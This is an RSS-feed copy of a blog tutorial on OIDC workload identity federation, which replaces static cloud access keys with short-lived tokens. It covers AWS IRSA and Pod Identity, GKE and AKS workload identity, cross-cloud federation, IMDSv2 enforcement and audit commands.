		<category><![CDATA[IRSA]]></category>
		<category><![CDATA[Kubernetes Security]]></category>
		<category><![CDATA[OIDC]]></category>
		<category><![CDATA[Service Accounts]]></category>
		<category><![CDATA[Workload Identity]]></category>
		<guid isPermaLink="false">https://linuxcent.com/workload-identity-oidc-service-accounts/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Eliminate static cloud credentials with OIDC workload identity. IRSA for EKS, GKE Workload Identity, AKS Workload Identity, and cross-cloud federation — no key files.</p>
<p>The post <a href="https://linuxcent.com/workload-identity-oidc-service-accounts/">OIDC Workload Identity: Eliminate Cloud Access Keys Entirely</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <strong>OIDC Workload Identity</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Workload identity federation</strong> replaces static cloud access keys with short-lived tokens tied to runtime identity — no key to rotate, no secret to leak</li>
<li>The OIDC token exchange pattern is consistent across AWS (IRSA / Pod Identity), GCP (Workload Identity), and Azure (AKS Workload Identity) — learn one, translate the others</li>
<li>AWS EKS: use <strong>Pod Identity</strong> for new clusters; IRSA is the pattern for existing ones — both eliminate static keys</li>
<li>GCP GKE: <code class="" data-line="">--workload-pool</code> at cluster level + <code class="" data-line="">roles/iam.workloadIdentityUser</code> binding on the GCP service account</li>
<li>Azure AKS: federated credential on a managed identity + <code class="" data-line="">azure.workload.identity/use: &quot;true&quot;</code> pod label</li>
<li>Cross-cloud federation works: an AWS IAM role can call GCP APIs without a GCP key file on the AWS side</li>
<li>Enforce IMDSv2 everywhere; pin OIDC trust conditions to specific service account names; give each workload its own identity</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  WORKLOAD IDENTITY FEDERATION — BEFORE AND AFTER

  ── STATIC CREDENTIALS (the broken model) ────────────────────────────────

  IAM user created → access key generated
         ↓
  Key distributed to pods / CI / servers → stored in Secrets, env vars, .env
         ↓
  Valid indefinitely — never expires on its own
         ↓
  Rotation is manual, painful, deferred (&quot;there&#039;s a ticket for that&quot;)
         ↓
  Key proliferates across environments — you lose track of every copy
         ↓
  Leaked key → unlimited blast radius until someone notices and revokes it

  ── WORKLOAD IDENTITY FEDERATION (the current model) ─────────────────────

  No key created. No key distributed. No key to rotate.

  Workload starts → requests signed JWT from its native IdP
         │           (EKS OIDC issuer, GitHub Actions, GKE metadata server)
         ↓
  JWT carries workload claims: namespace, service account, repo, instance ID
         ↓
  Cloud STS / token endpoint validates JWT signature + trust conditions
         ↓
  Short-lived credential issued  (AWS STS: 1–12h  |  GCP/Azure: ~1h)
         ↓
  Credential expires automatically — nothing to clean up
         ↓
  Token stolen → usable for 1 hour maximum, audience-bound, not reusable
</code></pre>
<p>Workload identity federation is the architectural answer to static credential sprawl. The workload&#8217;s proof of identity is its runtime environment — the cluster it runs in, the repository it belongs to, the service account it uses. The cloud provider never issues a persistent secret. This episode covers how that exchange works across all three clouds and Kubernetes.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>Workload identity federation eliminates static cloud credentials by replacing them with short-lived tokens that the runtime environment generates and the cloud provider validates against a registered trust relationship. No key to distribute, no rotation schedule to maintain, no proliferation to track.</p>
<p>A while back I was reviewing a Kubernetes cluster that had been running in production for about two years. The team had done good work — solid app code, reasonable cluster configuration. But when I started looking at how pods were authenticating to AWS, I found what I find in roughly 60% of environments I look at.</p>
<p>Twelve service accounts. Twelve access key pairs. Keys created 6 to 24 months ago. Stored as Kubernetes Secrets. Mounted into pods as environment variables. Never rotated because &#8220;the app would need to be restarted&#8221; and nobody owned the rotation schedule. Two of the keys belonged to AWS IAM users who no longer worked at the company — the users had been deactivated, but the access keys were still valid because in AWS, access keys live independently of console login status.</p>
<p>When I asked who was responsible for rotating these, the answer I got was: &#8220;There&#8217;s a ticket for that.&#8221;</p>
<p>There&#8217;s always a ticket for that.</p>
<p>The engineering problem here isn&#8217;t that the team was careless. It&#8217;s that static credentials are fundamentally unmanageable at scale. Workload identity removes the problem at its root.</p>
<hr />
<h2 id="why-static-credentials-are-the-wrong-model-for-machines">Why Static Credentials Are the Wrong Model for Machines</h2>
<p>Before getting into solutions, let me be precise about why this is a security problem, not just an operational inconvenience.</p>
<p>Static credentials have four fundamental failure modes:</p>
<p><strong>They don&#8217;t expire.</strong> An AWS access key created in 2022 is valid in 2026 unless someone explicitly rotates it. GitGuardian&#8217;s 2024 data puts the average time from secret creation to detection at 328 days. That&#8217;s almost a year of exposure window before anyone even knows.</p>
<p><strong>They lose origin context.</strong> When an API call arrives at AWS with an access key, the authorization system can tell you what key was used — not whether it was used by your Lambda function, by a developer debugging something, or by an attacker using a stolen copy. Static credentials are context-blind.</p>
<p><strong>They proliferate invisibly.</strong> One key, distributed to a team, copied into three environments, cached on developer laptops, stored in a CI/CD pipeline, pasted into a config file in a test environment that got committed. By the time you need to rotate it, you don&#8217;t know all the places it lives.</p>
<p><strong>Rotation is operationally painful.</strong> Creating a new key, updating every place the old key lives, removing the old key — while ensuring nothing breaks during the transition — is a coordination exercise that organizations consistently defer. Every month the rotation doesn&#8217;t happen is another month of accumulated risk.</p>
<p>Workload identity solves all four by replacing persistent credentials with short-lived tokens that are generated from the runtime environment and verified by the cloud provider against a registered trust relationship.</p>
<hr />
<h2 id="the-oidc-exchange-whats-actually-happening">The OIDC Exchange — What&#8217;s Actually Happening</h2>
<p>All three major cloud providers have converged on the same underlying mechanism: <strong>OIDC token exchange</strong>.</p>
<pre><code class="" data-line="">Workload (pod, GitHub Actions runner, EC2 instance, on-prem server)
    │
    │  1. Request a signed JWT from the native identity provider
    │     (EKS OIDC server, GitHub&#039;s token.actions.githubusercontent.com,
    │      GKE metadata server, Azure IMDS)
    ▼
Native IdP issues a JWT. It contains claims about the workload:
    - What repository triggered this CI run
    - What Kubernetes namespace and service account this pod uses
    - What EC2 instance ID this request came from
    │
    │  2. Workload presents the JWT to the cloud STS / federation endpoint
    ▼
Cloud IAM evaluates:
    - Is the JWT signature valid? (verified against the IdP&#039;s public keys)
    - Does the issuer match a registered trust relationship?
    - Do the claims match the conditions in the trust policy?
    │
    │  3. If all checks pass: short-lived cloud credentials issued
    │     (AWS: temporary STS credentials, expiry 1-12 hours)
    │     (GCP: OAuth2 access token, expiry ~1 hour)
    │     (Azure: access token, expiry ~1 hour)
    ▼
Workload calls cloud API with short-lived credentials.
Credentials expire. Nothing to clean up. Nothing to rotate.
</code></pre>
<p>No static secret is stored anywhere. The workload&#8217;s identity is its runtime environment — the cluster it runs in, the repository it belongs to, the service account it uses. If someone steals the short-lived token, it expires in an hour. If someone tries to use a token for a different resource than it was issued for, the audience claim doesn&#8217;t match and it&#8217;s rejected.</p>
<hr />
<h2 id="aws-irsa-and-pod-identity-for-eks">AWS: IRSA and Pod Identity for EKS</h2>
<h3 id="irsa-the-original-pattern">IRSA — The Original Pattern</h3>
<p>IRSA (IAM Roles for Service Accounts) federates a Kubernetes service account identity with an AWS IAM role. Each pod&#8217;s service account is the proof of identity; AWS issues temporary credentials in exchange for the OIDC JWT.</p>
<pre><code class="" data-line=""># Step 1: get the OIDC issuer URL for your EKS cluster
OIDC_ISSUER=$(aws eks describe-cluster \
  --name my-cluster \
  --query &quot;cluster.identity.oidc.issuer&quot; \
  --output text)

# Step 2: register this OIDC issuer with IAM
aws iam create-open-id-connect-provider \
  --url &quot;${OIDC_ISSUER}&quot; \
  --client-id-list sts.amazonaws.com \
  --thumbprint-list &quot;$(openssl s_client -connect ${OIDC_ISSUER#https://}:443 2&gt;/dev/null \
    | openssl x509 -fingerprint -noout | cut -d= -f2 | tr -d &#039;:&#039;)&quot;

# Step 3: create an IAM role with a trust policy scoped to a specific service account
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
OIDC_ID=&quot;${OIDC_ISSUER#https://}&quot;

cat &gt; irsa-trust.json &lt;&lt; EOF
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;Federated&quot;: &quot;arn:aws:iam::${ACCOUNT_ID}:oidc-provider/${OIDC_ID}&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: {
        &quot;${OIDC_ID}:sub&quot;: &quot;system:serviceaccount:production:app-backend&quot;,
        &quot;${OIDC_ID}:aud&quot;: &quot;sts.amazonaws.com&quot;
      }
    }
  }]
}
EOF

aws iam create-role \
  --role-name app-backend-s3-role \
  --assume-role-policy-document file://irsa-trust.json

aws iam put-role-policy \
  --role-name app-backend-s3-role \
  --policy-name AppBackendPolicy \
  --policy-document file://app-backend-policy.json
</code></pre>
<pre><code class="" data-line=""># Step 4: annotate the Kubernetes service account with the role ARN
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/app-backend-s3-role
</code></pre>
<p>The EKS Pod Identity webhook injects two environment variables into any pod using this service account: <code class="" data-line="">AWS_WEB_IDENTITY_TOKEN_FILE</code> pointing to a projected token, and <code class="" data-line="">AWS_ROLE_ARN</code>. The AWS SDK reads these automatically. The application doesn&#8217;t know any of this is happening — it just calls S3 and it works, using credentials that were never stored anywhere and expire automatically.</p>
<p>The trust policy&#8217;s <code class="" data-line="">sub</code> condition is the security boundary. <code class="" data-line="">system:serviceaccount:production:app-backend</code> means: only pods in the <code class="" data-line="">production</code> namespace using the <code class="" data-line="">app-backend</code> service account can assume this role. A pod in a different namespace, even with the same service account name, gets a different <code class="" data-line="">sub</code> claim and the assumption fails.</p>
<h3 id="eks-pod-identity-the-simpler-modern-approach">EKS Pod Identity — The Simpler Modern Approach</h3>
<p>AWS released Pod Identity as a simpler alternative to IRSA. No OIDC provider setup, no manual trust policy with OIDC conditions:</p>
<pre><code class="" data-line=""># Enable the Pod Identity agent addon on the cluster
aws eks create-addon \
  --cluster-name my-cluster \
  --addon-name eks-pod-identity-agent

# Create the association — this replaces the OIDC trust policy setup
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace production \
  --service-account app-backend \
  --role-arn arn:aws:iam::123456789012:role/app-backend-s3-role
</code></pre>
<p>Same result, less ceremony. For new clusters, Pod Identity is the path I&#8217;d recommend. IRSA remains important to understand for the many existing clusters already using it.</p>
<h3 id="iam-roles-anywhere-for-on-premises-workloads">IAM Roles Anywhere — For On-Premises Workloads</h3>
<p>Not everything runs in Kubernetes. For on-premises servers and workloads outside AWS, IAM Roles Anywhere issues temporary credentials to servers that present an X.509 certificate signed by a trusted CA:</p>
<pre><code class="" data-line=""># Register your internal CA as a trust anchor
aws rolesanywhere create-trust-anchor \
  --name &quot;OnPremCA&quot; \
  --source sourceType=CERTIFICATE_BUNDLE,sourceData.x509CertificateData=&quot;$(base64 -w0 ca-cert.pem)&quot;

# Create a profile mapping the CA to allowed roles
aws rolesanywhere create-profile \
  --name &quot;OnPremServers&quot; \
  --role-arns &quot;arn:aws:iam::123456789012:role/OnPremAppRole&quot; \
  --trust-anchor-arns &quot;${TRUST_ANCHOR_ARN}&quot;

# On the on-prem server — exchange the certificate for AWS credentials
aws_signing_helper credential-process \
  --certificate /etc/pki/server.crt \
  --private-key /etc/pki/server.key \
  --trust-anchor-arn &quot;${TRUST_ANCHOR_ARN}&quot; \
  --profile-arn &quot;${PROFILE_ARN}&quot; \
  --role-arn &quot;arn:aws:iam::123456789012:role/OnPremAppRole&quot;
</code></pre>
<p>The server&#8217;s certificate (managed by your internal PKI or an ACM Private CA) is the proof of identity. No access key distributed to the server — just a certificate that your CA signed and that you can revoke through your existing certificate revocation infrastructure.</p>
<hr />
<h2 id="gcp-workload-identity-for-gke">GCP: Workload Identity for GKE</h2>
<p>For GKE clusters, Workload Identity is enabled at the cluster level and creates a bridge between Kubernetes service accounts and GCP service accounts:</p>
<pre><code class="" data-line=""># Enable Workload Identity on the cluster
gcloud container clusters update my-cluster \
  --workload-pool=my-project.svc.id.goog

# Enable on the node pool (required for the metadata server to work)
gcloud container node-pools update default-pool \
  --cluster=my-cluster \
  --workload-metadata=GKE_METADATA

# Create the GCP service account for the workload
gcloud iam service-accounts create app-backend \
  --project=my-project

SA_EMAIL=&quot;app-backend@my-project.iam.gserviceaccount.com&quot;

# Grant the GCP SA the permissions it needs
gcloud storage buckets add-iam-policy-binding gs://app-data \
  --member=&quot;serviceAccount:${SA_EMAIL}&quot; \
  --role=&quot;roles/storage.objectViewer&quot;

# Create the trust relationship: K8s SA → GCP SA
gcloud iam service-accounts add-iam-policy-binding &quot;${SA_EMAIL}&quot; \
  --role=roles/iam.workloadIdentityUser \
  --member=&quot;serviceAccount:my-project.svc.id.goog[production/app-backend]&quot;
</code></pre>
<pre><code class="" data-line=""># Annotate the Kubernetes service account
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    iam.gke.io/gcp-service-account: app-backend@my-project.iam.gserviceaccount.com
</code></pre>
<p>When the pod makes a GCP API call using ADC (Application Default Credentials), the GKE metadata server intercepts the credential request. It validates the pod&#8217;s Kubernetes identity, checks the IAM binding, and returns a short-lived GCP access token. The GCP service account key file never exists. There&#8217;s nothing to protect, nothing to rotate, nothing to leak.</p>
<hr />
<h2 id="azure-workload-identity-for-aks">Azure: Workload Identity for AKS</h2>
<p>Azure&#8217;s workload identity for Kubernetes replaced the older AAD Pod Identity approach — which required a DaemonSet, had known TOCTOU vulnerabilities, and was operationally fragile. The current implementation uses the OIDC pattern:</p>
<pre><code class="" data-line=""># Enable OIDC issuer and workload identity on the AKS cluster
az aks update \
  --name my-aks \
  --resource-group rg-prod \
  --enable-oidc-issuer \
  --enable-workload-identity

# Get the OIDC issuer URL for this cluster
OIDC_ISSUER=$(az aks show \
  --name my-aks --resource-group rg-prod \
  --query &quot;oidcIssuerProfile.issuerUrl&quot; -o tsv)

# Create a user-assigned managed identity for the workload
az identity create --name app-backend-identity --resource-group rg-identities
CLIENT_ID=$(az identity show --name app-backend-identity -g rg-identities --query clientId -o tsv)
PRINCIPAL_ID=$(az identity show --name app-backend-identity -g rg-identities --query principalId -o tsv)

# Grant the identity the access it needs
az role assignment create \
  --assignee-object-id &quot;$PRINCIPAL_ID&quot; \
  --role &quot;Storage Blob Data Reader&quot; \
  --scope /subscriptions/SUB_ID/resourceGroups/rg-prod/providers/Microsoft.Storage/storageAccounts/appstore

# Federate: trust the K8s service account from this cluster
az identity federated-credential create \
  --name aks-app-backend-binding \
  --identity-name app-backend-identity \
  --resource-group rg-identities \
  --issuer &quot;${OIDC_ISSUER}&quot; \
  --subject &quot;system:serviceaccount:production:app-backend&quot; \
  --audience &quot;api://AzureADTokenExchange&quot;
</code></pre>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    azure.workload.identity/client-id: &quot;CLIENT_ID_HERE&quot;
---
apiVersion: v1
kind: Pod
metadata:
  labels:
    azure.workload.identity/use: &quot;true&quot;   # triggers token injection
spec:
  serviceAccountName: app-backend
  containers:
  - name: app
    image: my-app:latest
    # Azure SDK DefaultAzureCredential picks up the injected token automatically
</code></pre>
<hr />
<h2 id="cross-cloud-federation-when-aws-talks-to-gcp">Cross-Cloud Federation — When AWS Talks to GCP</h2>
<p>The same OIDC mechanism works cross-cloud. An AWS Lambda or EC2 instance can call GCP APIs without any GCP service account key on the AWS side:</p>
<pre><code class="" data-line=""># GCP side: create a workload identity pool that trusts AWS
gcloud iam workload-identity-pools create &quot;aws-workloads&quot; --location=global

gcloud iam workload-identity-pools providers create-aws &quot;aws-provider&quot; \
  --workload-identity-pool=&quot;aws-workloads&quot; \
  --account-id=&quot;AWS_ACCOUNT_ID&quot;

# Bind the specific AWS role to the GCP service account
gcloud iam service-accounts add-iam-policy-binding app-sa@gcp-project.iam.gserviceaccount.com \
  --role=roles/iam.workloadIdentityUser \
  --member=&quot;principalSet://iam.googleapis.com/projects/GCP_PROJ_NUM/locations/global/workloadIdentityPools/aws-workloads/attribute.aws_role/arn:aws:sts::AWS_ACCOUNT:assumed-role/MyAWSRole&quot;
</code></pre>
<p>The AWS workload presents its STS-issued credentials to GCP&#8217;s token exchange endpoint. GCP verifies the AWS signature, checks the attribute mapping (only <code class="" data-line="">MyAWSRole</code> from that AWS account), and issues a short-lived GCP access token. No GCP service account key is ever distributed to the AWS side.</p>
<hr />
<h2 id="the-threat-model-what-workload-identity-doesnt-solve">The Threat Model — What Workload Identity Doesn&#8217;t Solve</h2>
<p>Workload identity dramatically reduces the attack surface, but it doesn&#8217;t eliminate it:</p>
<table>
<thead>
<tr>
<th>Threat</th>
<th>What Still Applies</th>
<th>Mitigation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Token theft from the container filesystem</td>
<td>The projected token is readable if you have container filesystem access</td>
<td>Short TTL (default 1h); tokens are audience-bound — can&#8217;t use a K8s token to call Azure APIs</td>
</tr>
<tr>
<td>SSRF to metadata service</td>
<td>An SSRF vulnerability can fetch credentials from the metadata endpoint</td>
<td>Enforce IMDSv2 on AWS; use metadata server restrictions on GKE/AKS</td>
</tr>
<tr>
<td>Overpermissioned service account</td>
<td>Workload identity doesn&#8217;t enforce least privilege — the SA can still be over-granted</td>
<td>One SA per workload; review permissions against actual usage</td>
</tr>
<tr>
<td>Trust policy too broad</td>
<td>OIDC trust policy allows any service account in a namespace</td>
<td>Always pin to specific SA name in the <code class="" data-line="">sub</code> condition</td>
</tr>
</tbody>
</table>
<p>The SSRF-to-metadata-service path deserves particular attention. IMDSv2 (mandatory in AWS by requiring a PUT to get a token before any metadata request) blocks most SSRF scenarios because a simple SSRF can only make GET requests. Enforce it:</p>
<pre><code class="" data-line=""># Enforce IMDSv2 at instance launch
aws ec2 run-instances \
  --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

# Enforce org-wide via SCP — no instance can launch without IMDSv2
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {
      &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;
    }
  }
}
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — Trust policy scoped to namespace, not service account ║
║                                                                      ║
║  A condition like &quot;sub&quot;: &quot;system:serviceaccount:production:*&quot;        ║
║  grants any pod in the production namespace the ability to assume    ║
║  the role. A compromised or new workload in that namespace gets      ║
║  access automatically.                                               ║
║                                                                      ║
║  Fix: always pin the sub condition to the exact service account      ║
║  name. &quot;system:serviceaccount:production:app-backend&quot; — not a glob.  ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Shared service accounts across workloads             ║
║                                                                      ║
║  Reusing one service account for multiple workloads saves setup      ║
║  time and creates a lateral movement path. A compromised workload    ║
║  that shares a service account with a payment processor has payment  ║
║  processor permissions.                                              ║
║                                                                      ║
║  Fix: one service account per workload. The overhead is low.         ║
║  The blast radius reduction is significant.                          ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — IMDSv1 still reachable after enabling IMDSv2        ║
║                                                                      ║
║  Enabling IMDSv2 on new instances doesn&#039;t affect existing ones.      ║
║  The SCP approach enforces it at the org level going forward, but    ║
║  existing instances need explicit remediation.                       ║
║                                                                      ║
║  Fix: audit existing instances for IMDSv1 exposure.                 ║
║  aws ec2 describe-instances --query                                  ║
║    &quot;Reservations[].Instances[?MetadataOptions.HttpTokens!=&#039;required&#039;]║
║    .[InstanceId,Tags]&quot;                                               ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌────────────────────────────────┬───────────────────────────────────────────────────────┐
│ Term                           │ What it means                                         │
├────────────────────────────────┼───────────────────────────────────────────────────────┤
│ Workload identity federation   │ OIDC-based exchange: runtime JWT → short-lived token  │
│ IRSA                           │ IAM Roles for Service Accounts — EKS + OIDC pattern   │
│ EKS Pod Identity               │ Newer, simpler IRSA replacement — no OIDC setup       │
│ GKE Workload Identity          │ K8s SA → GCP SA via workload pool + IAM binding       │
│ AKS Workload Identity          │ K8s SA → managed identity via federated credential    │
│ IAM Roles Anywhere             │ AWS temp credentials for on-prem via X.509 cert       │
│ IMDSv2                         │ Token-gated AWS metadata service — blocks SSRF        │
│ OIDC sub claim                 │ Workload&#039;s unique identity string — use for pinning   │
│ Projected service account token│ K8s-injected JWT — the OIDC token pods present to AWS │
└────────────────────────────────┴───────────────────────────────────────────────────────┘

Key commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # AWS — list OIDC providers registered in this account                               │
│  aws iam list-open-id-connect-providers                                               │
│                                                                                        │
│  # AWS — list Pod Identity associations for a cluster                                 │
│  aws eks list-pod-identity-associations --cluster-name my-cluster                     │
│                                                                                        │
│  # AWS — verify what credentials a pod is actually using                              │
│  aws sts get-caller-identity   # run from inside the pod                              │
│                                                                                        │
│  # AWS — audit instances missing IMDSv2                                               │
│  aws ec2 describe-instances \                                                          │
│    --query &quot;Reservations[].Instances[?MetadataOptions.HttpTokens!=&#039;required&#039;]          │
│    .[InstanceId]&quot; --output text                                                        │
│                                                                                        │
│  # GCP — verify workload identity binding on a GCP service account                   │
│  gcloud iam service-accounts get-iam-policy SA_EMAIL                                  │
│                                                                                        │
│  # GCP — list workload identity pools                                                 │
│  gcloud iam workload-identity-pools list --location=global                            │
│                                                                                        │
│  # Azure — list federated credentials on a managed identity                           │
│  az identity federated-credential list \                                               │
│    --identity-name app-backend-identity --resource-group rg-identities                │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Non-human identities dominate cloud environments; workload identity federation is the modern machine authentication pattern</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Static credential sprawl is a measurable, eliminable risk; workload identity removes it at the root</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.17 Authentication information</td>
<td>Managing machine credentials — workload identity replaces long-lived secrets with short-lived, environment-bound tokens</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.5 Secure authentication</td>
<td>OIDC token exchange is the secure authentication mechanism for machine identities</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Service account provisioning and deprovisioning — workload identity ties access to the runtime environment, not a stored secret</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Workload identity federation is the preferred technical control for machine-to-cloud authentication in CC6.1</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.7</td>
<td>Short-lived, audience-bound tokens restrict credential reuse across systems — addresses transmission and access controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Static credentials for machine identities are the problem, not the solution — workload identity federation eliminates them at the root</li>
<li>The OIDC token exchange pattern is consistent across AWS (IRSA/Pod Identity), GCP (Workload Identity), and Azure (AKS Workload Identity) — learn one, the others are a translation</li>
<li>AWS EKS: use Pod Identity for new clusters; IRSA remains the pattern for existing ones — both eliminate static keys</li>
<li>GCP GKE: Workload Identity enabled at cluster level, SA annotation at the K8s service account level</li>
<li>Azure AKS: federated credential on the managed identity, <code class="" data-line="">azure.workload.identity/use: &quot;true&quot;</code> label on pods</li>
<li>Cross-cloud federation works — an AWS IAM role can call GCP APIs without a GCP key file</li>
<li>Enforce IMDSv2 everywhere; pin OIDC trust conditions to specific service account names; apply least privilege to the underlying cloud identity</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>You&#8217;ve eliminated the static credential problem. The next question is: what happens when the IAM configuration itself is the vulnerability? <a href="/cloud-iam-privilege-escalation/">AWS IAM privilege escalation</a> goes into the attack paths — how <code class="" data-line="">iam:PassRole</code>, <code class="" data-line="">iam:CreateAccessKey</code>, and misconfigured trust policies turn IAM misconfigurations into full account compromise. If you&#8217;re designing or auditing cloud access control, you need to know these paths before an attacker finds them.</p>
<p><em>Next: <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a></em></p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
